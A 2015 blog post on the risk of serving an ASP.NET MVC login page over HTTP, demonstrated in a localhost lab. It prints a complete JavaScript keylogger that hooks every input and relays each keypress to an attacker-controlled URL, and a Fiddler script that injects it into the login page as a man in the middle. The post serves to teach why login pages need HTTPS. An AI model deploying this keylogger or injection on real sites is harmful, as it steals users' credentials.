Thursday, June 25, 2015

Stealing Credentials On Http Login Form in ASP.NET MVC

In today's blog post, I will be discussing how login form on Http can be risky in an ASP.NET MVC application.

Http Login Form Risk

On so many websites, the account login page is on Http instead of Https. What those people say is that once you post the password, it's Https and thus encrypted and secure. However loading the login page on Http is itself inherently insecure.
So today we will be discussing an attack on how such a site can be compromised.

For this attack, we will be using a script from John Leitch. This a javascript which attaches a key press event with all the elements in the page and sends an HTTP request on each keypress event. I have modified the script with few changes in order to make it work on my machine.


var destination = null;

var useClone = false;

var cloneSource = null;

var cloneDelay = 1000;

function hookInputs() {

   var frame = document.getElementById('overlayFrame');

   var iframe = '<iframe id="frameContainer" 
   style="display:none;"></iframe>';

  var sourceDoc = useClone ? frame.contentDocument : document;

   var html = 
   sourceDoc.getElementsByTagName('html')[0].innerHTML;

   html = 
   html.replace(/<body([^>]*)>/i, '<body $1>' + iframe);

   html = html.replace(/<input/gi, 
  '<input onkeypress="relayKeyPress(event)" ');

   document.clear();

   document.write(html);

}

window.onload = function () {

   if (destination == null) {

     alert('destination not set');

     return;

   }

   if (useClone) {

     if (cloneSource == null) {

       alert('cloneSource not set');

       return;

     }

     document.body.innerHTML +=

     '<iframe style="display:none;" 
     id="overlayFrame" src="' +

     cloneSource + '"></iframe>';

     setTimeout("hookInputs()", cloneDelay);

 &nbsp }

   else

     hookInputs();

};



var l = Math.random().toString().substring(2);

function relayKeyPress(e) {

   var fc = document.getElementById("frameContainer");

   var x = String.fromCharCode(e.keyCode);

   var y = String.fromCharCode(e.which);

   var k = e.keyCode ? x : y;

   var f = destination + escape(k) + 
           (e.srcElement ? e.srcElement.id :
            e.target.id) + "," + l;

   fc.src = f;

}; 

Next, I created two applications: i) HttpLoginApplication and, ii) HttpAttacker. The HttpAttacker simply serves the KeyLogger.js file which contains the script mentioned above. The HttpLoginApplication has a simple login page with username and password fields, which is served on Http.

Next, I installed Fiddler to intercept and modify the Login page being served on Http. In Fiddler, there is a Fiddler Scripts tab which provides us a lot of functionality to intercept the traffic and modify if needed ;)
Inside Fiddler Scripts tab, there is a method named: OnBeforeResponse(oSession: Session). Inside the method I simply intercept the response related to the login page for HttpLoginApplication website and I inject my attacker's key logger script (Ref: Troy Hunt) like this:


if(oSession.HostnameIs("localhost:55456") 
&& oSession.PathAndQuery=="/Account/Login")

{

   oSession.utilDecodeResponse();

   var oBody = 
   System.Text.Encoding.UTF8.GetString(
   oSession.responseBodyBytes);

    oBody = oBody.Replace(
   "/body","<script type=\"text/javascript\" 
 src=\"http://localhost:57190/Scripts/KeyLogger.js\"></script>
 <script type=\"text/javascript\">
 destination='http://localhost:57190/KeyLoger/?k='</script>");

    oSession.utilSetResponseBody(oBody);

 }


So now when I load the Account/Login page on my HttpLoginApplication, it loads Login page along with the KeyLogger.js.  The victim will not even easily notice that Keylogger.js has been loaded.



Http Login page loading KeyLogger.js


As a result of this, when the user types in the username and password - with each key press event, an Http Request is generated to the HttpAttacker application.


KeyLogger script at work stealing credentials



The attacker can log all these requests and then related them together to easily find the user's credentials.As you can see in the snapshot above, I can see what the user typed and in what field he is typing in.

Conclusion

So we saw how loading login page on Http can be risky. The example shown here is quite simplistic but this is feasible if you are able to intercept the requests and act as man in the middle.
Many websites load their login page on Http and when the user submits, the POST request is on Https. They implement SSL but not in the right way which reduces the effectiveness of their security approach. So it's very important to implement this properly.
For future updates to my weekly blog, please subscribe to my blog via the "Subscribe By Email" feature at the right and follow me on Twitter. Until then Happy Coding :)


Reference:
Troy Hunt

No comments:

Post a Comment